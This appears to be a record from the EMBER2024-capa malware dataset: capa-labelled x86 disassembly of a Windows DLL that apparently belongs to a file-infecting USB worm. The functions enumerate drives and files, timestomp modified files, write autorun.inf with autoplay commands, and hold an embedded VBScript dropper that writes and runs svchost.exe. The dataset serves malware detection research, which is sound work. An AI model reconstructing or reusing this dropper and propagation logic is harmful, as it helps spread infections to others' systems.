joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100088b3
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffab8
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x546]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 0x546]
push eax
call fcn.100086e9
lea eax, [ebp - 0x546]
push eax
call sub.kernel32.dll_lstrlenA
mov dword [ebp - 8], eax
push 0x1000fa83
lea eax, [ebp - 0x546]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x146]
push eax
lea eax, [ebp - 0x546]
push eax
call sub.kernel32.dll_FindFirstFileA
cmp eax, 0xffffffff
je 0x100089b9
mov dword [ebp - 4], eax
push 2
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x11a]
push eax
call fcn.100087bf
or eax, eax
jne 0x10008999
lea esi, [ebp - 0x546]
add esi, dword [ebp - 8]
mov al, 0
mov byte [esi], 0
lea eax, [ebp - 0x11a]
push eax
lea eax, [ebp - 0x546]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [ebp - 0x146]
and eax, 0x10
cmp eax, 0x10
jne 0x1000898a
lea eax, [ebp - 0x546]
push eax
call fcn.100086e9
lea eax, [ebp - 0x546]
push eax
call fcn.10008786
or eax, eax
jne 0x10008999
push dword [ebp + 0xc]
lea eax, [ebp - 0x546]
push eax
call fcn.100088b3
jmp 0x10008999
push dword [ebp + 0xc]
lea eax, [ebp - 0x546]
push eax
call fcn.10008848
lea eax, [ebp - 0x146]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_FindNextFileA
cmp eax, 0
jne 0x10008917
push dword [ebp - 4]
call sub.kernel32.dll_FindClose
pop esi
leave
ret 8

Function at 0x100089be
Capabilities:
Get common file path

Disassembly:
push 0x400
push str.C:Windows_system32_
call sub.kernel32.dll_GetSystemDirectoryA
push 0x400
push str.C:Windows_
call sub.kernel32.dll_GetWindowsDirectoryA
push str.C:Windows_system32_
call sub.kernel32.dll_lstrlenA
lea esi, str.C:Windows_system32_
add esi, eax
mov bl, 0
mov byte [esi], bl
push str.C:Windows_
call sub.kernel32.dll_lstrlenA
lea esi, str.C:Windows_
add esi, eax
mov bl, 0
mov byte [esi], bl
push str.C:Windows_system32_
call fcn.100086e9
push str.C:Windows_
call fcn.100086e9
ret

Function at 0x10008a1d
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push esi
call fcn.100089be
lea eax, [ebp - 0x200]
push eax
push 0x200
call sub.kernel32.dll_GetLogicalDriveStringsA
lea esi, [ebp - 0x200]
cmp byte [esi], 0
je 0x10008a77
push esi
call fcn.10008712
cmp eax, 1
jne 0x10008a6c
push esi
push esi
call sub.kernel32.dll_GetDriveTypeA
pop esi
cmp eax, 3
je 0x10008a65
cmp eax, 2
jne 0x10008a6c
push esi
push esi
call fcn.100088b3
push esi
call fcn.100021a0
add esi, eax
inc esi
jmp 0x10008a43
pop esi
leave
ret
Function at 0x10008d5a
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push ecx
push edi
push esi
push 0
pop dword [ebp - 0xc]
push 0
pop dword [ebp - 8]
push dword [ebp + 0xc]
call fcn.100036e2
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x1c], eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0
push dword [ebp + 8]
call sub.advapi32.dll_RegQueryInfoKeyA
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x18], 0
jne 0x10008daf
push 0x3fff
pop dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
push dword [ebp - 0x18]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x10008ea1
mov dword [ebp - 0x10], eax
mov ecx, 0
cmp dword [ebp - 0x20], 0
jne 0x10008de1
cmp ecx, dword [ebp - 0x14]
jae 0x10008de1
cmp dword [ebp - 0xc], 0
je 0x10008de6
jmp 0x10008e99
push dword [ebp - 0x18]
push dword [ebp - 0x10]
call fcn.10001a2c
push ecx
push dword [ebp - 0x18]
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
push ecx
push dword [ebp + 8]
call sub.advapi32.dll_RegEnumKeyExA
mov dword [ebp - 0x20], eax
or eax, eax
jne 0x10008e8f
push dword [ebp - 0x10]
call fcn.100021a0
mov dword [ebp - 0x18], eax
push dword [ebp - 0x18]
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x2c]
call fcn.1000245c
or eax, eax
je 0x10008e4c
push 2
pop dword [ebp - 0xc]
push dword [ebp - 0x18]
push dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
call fcn.10003602
jmp 0x10008e8f
lea eax, [ebp - 4]
push eax
push 1
push 0
push dword [ebp - 0x10]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x10008e8f
push dword [ebp + 0xc]
push dword [ebp - 4]
call fcn.10008cbb
cmp eax, 1
jne 0x10008e87
push 1
pop dword [ebp - 0xc]
push dword [ebp - 0x18]
push dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
call fcn.10003602
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
pop dword [ebp - 0x18]
pop ecx
inc ecx
jmp 0x10008dd0
push dword [ebp - 0x10]
call sub.kernel32.dll_GlobalFree
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
pop esi
pop edi
pop ecx
pop ebx
leave
ret 8
Function at 0x100096c4
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push 0
pop dword [ebp - 8]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x1000974b
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov edx, dword [ebp + 0xc]
add edx, 0x24
cmp eax, edx
jbe 0x10009743
cmp eax, 0xffffffff
je 0x10009743
cmp dword [ebp - 0x10], 0
jne 0x10009743
sub eax, edx
push 0
push 0
push eax
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
push 0x24
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
or eax, eax
je 0x10009743
push dword [ebp + 0x10]
call fcn.10007cb8
mov dword [ebp - 8], eax
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 8]
leave
ret 0xc

Function at 0x10009752
Capabilities:
Check if file exists
Get file attributes
Get file size
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push dword [ebp + 8]
call sub.kernel32.dll_GetFileAttributesA
mov dword [ebp - 0x20], eax
push 0x80
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x100097f0
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileTime
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
cmp eax, 0xffffffff
je 0x100097d4
mov edi, dword [ebp + 0xc]
cmp eax, dword [edi + 0x1c]
jbe 0x100097d4
push 0
push 0
push dword [edi + 0x1c]
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push dword [ebp - 4]
call sub.kernel32.dll_SetEndOfFile
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_SetFileTime
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x20]
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
leave
ret 8
Function at 0x100097ff
Capabilities:
Check if file exists
Get file attributes
Get file size
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push dword [ebp + 8]
call sub.kernel32.dll_GetFileAttributesA
mov dword [ebp - 0x58], eax
push 0x80
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x100099b8
mov dword [ebp - 4], eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileTime
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x38], 0
jne 0x10009991
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call fcn.10001ca6
cmp eax, 0
je 0x10009991
mov dword [ebp - 0xc], eax
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.1000823f
test eax, eax
je 0x10009988
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10007e03
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0x14]
push dword [esi + 0x40]
pop dword [ebp - 0x2c]
cmp dword [ebp + 0x10], 0
jne 0x100098c3
cmp dword [ebp - 0x2c], 0
je 0x100098c3
jmp 0x10009988
mov edi, dword [ebp + 0xc]
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10007dbb
mov ax, word [eax + 2]
movzx eax, ax
cmp eax, dword [edi + 0x20]
jne 0x10009988
push dword [edi + 0x1c]
pop dword [esi + 0x10]
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10008457
test eax, eax
je 0x10009988
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x28]
push eax
call fcn.10001ce9
push 0
push 0
push dword [ebp - 0x3c]
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push dword [ebp - 4]
call sub.kernel32.dll_SetEndOfFile
cmp dword [ebp + 0x10], 0
je 0x10009986
cmp dword [ebp - 0x2c], 0
je 0x10009986
push 0
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call fcn.10001ca6
or eax, eax
je 0x10009986
mov dword [ebp - 0xc], eax
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x34], eax
lea ebx, [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
push ebx
push eax
push dword [ebp - 0xc]
call dword [ebp + 0x10]
or eax, eax
je 0x1000997d
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10007e03
mov esi, eax
push dword [ebp - 0x30]
pop dword [esi + 0x40]
lea eax, [ebp - 0x28]
push eax
call fcn.10001ce9
jmp 0x10009991
lea eax, [ebp - 0x28]
push eax
call fcn.10001ce9
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_SetFileTime
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x58]
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
leave
ret 0xc
Function at 0x10009dc8
Capabilities:
Check if file exists
Get file attributes
Get file size
Set file attributes
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
lea eax, [ebp - 0x2c]
push eax
push 3
push dword [ebp + 8]
call fcn.100096c4
cmp eax, 1
jne 0x10009e1f
mov eax, dword [section..data]
cmp dword [ebp - 0x24], 5
jne 0x10009dfa
cmp dword [ebp - 0x20], 0
jne 0x10009dfa
cmp dword [ebp - 0x1c], eax
jne 0x10009e0c
cmp dword [ebp - 0x24], 5
jb 0x10009e0c
cmp dword [ebp - 0x24], 5
jne 0x10009e1a
cmp dword [ebp - 0x20], 0
jae 0x10009e1a
lea eax, [ebp - 0x2c]
push eax
push dword [ebp + 8]
call fcn.10009752
jmp 0x10009e1f
jmp 0x10009faa
push dword [ebp + 8]
call sub.kernel32.dll_GetFileAttributesA
mov dword [ebp - 0x54], eax
push 0x80
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x10009f9f
mov dword [ebp - 4], eax
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
cmp eax, 0xffffffff
je 0x10009f97
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileTime
push 2
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
call sub.kernel32.dll_GetTickCount
push 0xffffffffffffffff
push eax
call fcn.10002cbc
push 0x24
lea eax, [ebp - 0x2c]
push eax
call fcn.10001a2c
mov dword [ebp - 0x2c], eax
push 0xfa1bc352
pop dword [ebp - 0x28]
push 5
pop dword [ebp - 0x24]
push 0
pop dword [ebp - 0x20]
push dword [section..data]
pop dword [ebp - 0x1c]
push dword [0x1000e004]
pop dword [ebp - 0x18]
call fcn.10005214
mov dword [ebp - 0x14], eax
push dword [ebp - 0x38]
pop dword [ebp - 0x10]
lea edi, [ebp - 0x2c]
mov edx, 0x24
mov eax, dword [ebp - 0x2c]
sub edx, 4
test edx, edx
je 0x10009f0d
xor dword [edx + edi], eax
jmp 0x10009f01
push 0xc8
call fcn.1000bef0
add eax, 0x12c
mov dword [ebp - 0x34], eax
push dword [ebp - 0x34]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x10009f57
mov dword [ebp - 0x30], eax
push dword [ebp - 0x34]
push dword [ebp - 0x30]
call fcn.10002b62
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 0x30]
call sub.kernel32.dll_GlobalFree
push 0
lea eax, [ebp - 8]
push eax
push 0x24
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push 0
lea eax, [ebp - 8]
push eax
push 3
push 0x1000ebaa
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_SetFileTime
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x54]
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
leave
ret 0xc
Function at 0x1000a06d
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push esi
push 0
pop dword [ebp - 0x40c]
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 0x400]
push eax
call fcn.100086e9
push str.autorun.inf
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcatA
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x1000a140
mov dword [ebp - 0x410], eax
push 0
push dword [ebp - 0x410]
call sub.kernel32.dll_GetFileSize
cmp eax, 3
jbe 0x1000a135
push 0
lea eax, [ebp - 0x408]
push eax
push 3
lea eax, [ebp - 0x404]
push eax
push dword [ebp - 0x410]
call sub.kernel32.dll_ReadFile
lea esi, [ebp - 0x404]
add esi, dword [ebp - 0x408]
mov al, 0
mov byte [esi], al
push 0x1000ebad
lea eax, [ebp - 0x404]
push eax
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x1000a135
push 1
pop dword [ebp - 0x40c]
push dword [ebp - 0x410]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x40c]
pop esi
leave
ret 4
Function at 0x1000a14b
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbec
push esi
push dword [ebp + 0xc]
call sub.kernel32.dll_lstrlenA
mov ebx, 3
mul ebx
add eax, 0x92
inc eax
push eax
push 0
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x1000a2f6
mov dword [ebp - 0x404], eax
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push str._autorun__r_nactionOpen_r_nicon__WinDir___system32_shell32.dll_4_r_nshellexecute_s_r_nshellexplorecommand_s_r_nUSEAUTOPLAY1_r_nshellOpencommand_s_r_n
push dword [ebp - 0x404]
call sub.user32.dll_wsprintfA
add esp, 0x14
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 0x400]
push eax
call fcn.100086e9
push str.autorun.inf
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcatA
push 0x80
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x27
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x1000a2eb
mov dword [ebp - 0x414], eax
push 0
lea eax, [ebp - 0x408]
push eax
push 3
push 0x1000ebad
push dword [ebp - 0x414]
call sub.kernel32.dll_WriteFile
mov eax, 0x1f40
sub eax, 0xfa0
push eax
call fcn.1000bef0
add eax, 0xfa0
mov dword [ebp - 0x410], eax
push dword [ebp - 0x410]
push 0
call sub.kernel32.dll_GlobalAlloc
cmp dword [ebp - 0x40c], 0
je 0x1000a2e0
mov dword [ebp - 0x40c], eax
push dword [ebp - 0x410]
push dword [ebp - 0x40c]
call fcn.10002be1
push 0
lea eax, [ebp - 0x408]
push eax
push dword [ebp - 0x410]
push dword [ebp - 0x40c]
push dword [ebp - 0x414]
call sub.kernel32.dll_WriteFile
push dword [ebp - 0x404]
call sub.kernel32.dll_lstrlenA
mov ebx, eax
push 0
lea eax, [ebp - 0x408]
push eax
push ebx
push dword [ebp - 0x404]
push dword [ebp - 0x414]
call sub.kernel32.dll_WriteFile
push 0
lea eax, [ebp - 0x408]
push eax
push dword [ebp - 0x410]
push dword [ebp - 0x40c]
push dword [ebp - 0x414]
call sub.kernel32.dll_WriteFile
push dword [ebp - 0x40c]
call sub.kernel32.dll_GlobalFree
push dword [ebp - 0x414]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x404]
call sub.kernel32.dll_GlobalFree
pop esi
leave
ret 8
Function at 0x1000aeb7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push str.disable
push str.SoftwareWASAntidot
push dword [0x1000e38d]
call fcn.100030c3
or eax, eax
jne 0x1000b027
call sub.kernel32.dll_GetTickCount
push eax
call fcn.1000bf2a
push 0
pop dword [0x1000e9b6]
push str.Imagehlp.dll
call sub.kernel32.dll_LoadLibraryA
mov dword [0x1000e99f], eax
cmp dword [0x1000e99f], 0
je 0x1000af1a
push 0x1000e9a3
push dword [0x1000e99f]
call sub.kernel32.dll_GetProcAddress
mov dword [0x1000e9b6], eax
push dword [ebp + 8]
push 0x1000e950
call fcn.100038d9
push dword [ebp + 8]
push 0x1000e954
call fcn.100038d9
push 0x1000e954
call fcn.100036e2
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], eax
or eax, eax
je 0x1000afd4
shl eax, 1
add eax, 0x4b
mov edx, eax
push 0x4b
push str._SCRIPT_LanguageVBScript______r_nDropFileName___svchost.exe__r_nWriteData_____r_nSet_FSO__CreateObject__Scripting.FileSystemObject___r_nDropPath__FSO.GetSpecialFolder_2_______DropFileName_r_nIf_FSO.FileExists_DropPath_False_Then_r_nSet_FileObj__FSO.CreateTextFile_DropPath__True__r_nFor_i__1_To_Len_WriteData__Step_2_r_nFileObj.Write_Chr_CLng__H___Mid_WriteData_i_2____r_nNext_r_nFileObj.Close_r_nEnd_If_r_nSet_WSHshell__CreateObject__WScript.Shell___r_nWSHshell.Run_DropPath__0_r_n_______SCRIPT________RmN
push 0x1000e958
call fcn.10003602
push edx
push 0x1000e958
call fcn.100037ed
or eax, eax
je 0x1000af9a
push 0x1000e958
call fcn.100036e2
or edx, edx
je 0x1000af9a
mov esi, edx
add esi, 0x4b
push esi
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.10002b16
push 0x19b
push 0x1000ea0f
push 0x1000e958
call fcn.10003602
push dword [0x1000ac8d]
push 0x1000ac91
call fcn.10002b62
push dword [0x1000ac8d]
push 0x1000ac91
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.10002ea5
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1000a2fb
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebp - 8], eax
push 0xffffffffffffffff
push dword [ebp - 8]
call sub.kernel32.dll_SetThreadPriority
push dword [ebp - 8]
call sub.kernel32.dll_CloseHandle
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1000a315
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x1000b03a
push 0x40
push str.Antidot_is_activate
push str.Antidot_is_activate
push 0
call sub.user32.dll_MessageBoxA
leave
ret 4

Function at 0x1000b469
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0x10010904
push 0x10010984
push dword [0x1000e010]
push dword [0x1000e314]
call fcn.10005bc0
cmp eax, 0xffffffff
je 0x1000b4d8
mov dword [ebp - 4], eax
push dword [0x1000e8de]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.10005f76
cmp eax, 1
jne 0x1000b4cf
push 0
pop dword [ebp - 8]
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp - 4]
push 0x1000b451
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x1000b4d8
lea eax, [ebp - 4]
push eax
call fcn.100064fb
leave
ret 8
Function at 0x1000b4f5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 8]
push 0x1000b4dc
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
leave
ret 4

Function at 0x1000b521
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push edx
push ecx
push edi
push esi
cmp dword [0x1000e3cd], 0
je 0x1000b639
push dword [ebp + 8]
call fcn.100036e2
cmp eax, 0x24
jbe 0x1000b639
or edx, edx
je 0x1000b639
add edx, eax
sub edx, 0x24
push edx
call fcn.10007cb8
cmp eax, 1
jne 0x1000b639
mov ecx, 0x78
cmp dword [0x1000e3c9], 0xffffffff
jne 0x1000b582
push ecx
push 0x3e8
call sub.kernel32.dll_Sleep
pop ecx
loop 0x1000b56b
cmp ecx, 0
je 0x1000b639
push 0
push 0
push 0
push dword [0x1000e3c9]
call sub.kernel32.dll_SetFilePointer
push dword [0x1000e3c9]
call sub.kernel32.dll_SetEndOfFile
push dword [ebp + 8]
call fcn.100036e2
mov ebx, eax
push 0
lea eax, [ebp - 8]
push eax
push ebx
push edx
push dword [0x1000e3c9]
call sub.kernel32.dll_WriteFile
lea eax, [ebp - 0x48]
push eax
push 0
push 0xad0
call fcn.10002cf6
lea eax, [ebp - 4]
push eax
push 0
lea eax, [ebp - 0x48]
push eax
call fcn.10002e5f
push dword [0x1000e31c]
call fcn.10005276
lea eax, [ebp - 4]
push eax
call fcn.10002e3b
push 1
push 0x100104e8
call fcn.1000b14f
push 0x1000e308
call fcn.10002e3b
push 0x1000e30c
call fcn.10002e3b
push dword [0x1000e3c9]
call sub.kernel32.dll_CloseHandle
push dword [0x1000e3cd]
call fcn.100042e0
call fcn.1000bb36
push 0
call sub.kernel32.dll_ExitProcess
mov eax, 0
pop esi
pop edi
pop ecx
pop edx
pop ebx
leave
ret 4
Function at 0x1000bb46
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff78
cmp dword [ebp + 0xc], 1
jne 0x1000bcaa
lea eax, [ebp - 0x48]
push eax
push 0
push 0x7f3
call fcn.10002cf6
push 0x1000e30c
push 0
lea eax, [ebp - 0x48]
push eax
call fcn.10002e5f
cmp eax, 1
jne 0x1000bca3
call sub.kernel32.dll_GetCurrentProcessId
mov ebx, eax
lea eax, [ebp - 0x88]
push eax
push ebx
push 0x1401
call fcn.10002cf6
push 0x1000e308
push 0
lea eax, [ebp - 0x88]
push eax
call fcn.10002e5f
push dword [ebp + 0x10]
pop dword [0x1000e3cd]
call fcn.1000b9bd
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push dword [0x1000e3cd]
push 0x1000b97d
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1000b23a
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1000b433
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
cmp dword [0x1000e008], 1
jne 0x1000bc4d
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x10007c71
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1000b647
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
push dword [0x1000e3cd]
call fcn.1000aeb7
cmp dword [0x1000e3cd], 0
je 0x1000bca3
push dword [0x1000e3cd]
call fcn.100042bf
cmp eax, 0xffffffff
jne 0x1000bc9e
push 0x3e8
call sub.kernel32.dll_Sleep
jmp 0x1000bc82
mov dword [0x1000e3c9], eax
mov eax, 1
jmp 0x1000bcc5
cmp dword [ebp + 0xc], 0
jne 0x1000bcb7
call fcn.1000bb36
jmp 0x1000bcc5
cmp dword [ebp + 0xc], 2
jne 0x1000bcbf
jmp 0x1000bcc5
cmp dword [ebp + 0xc], 3
jne 0x1000bcc5
leave
ret 0xc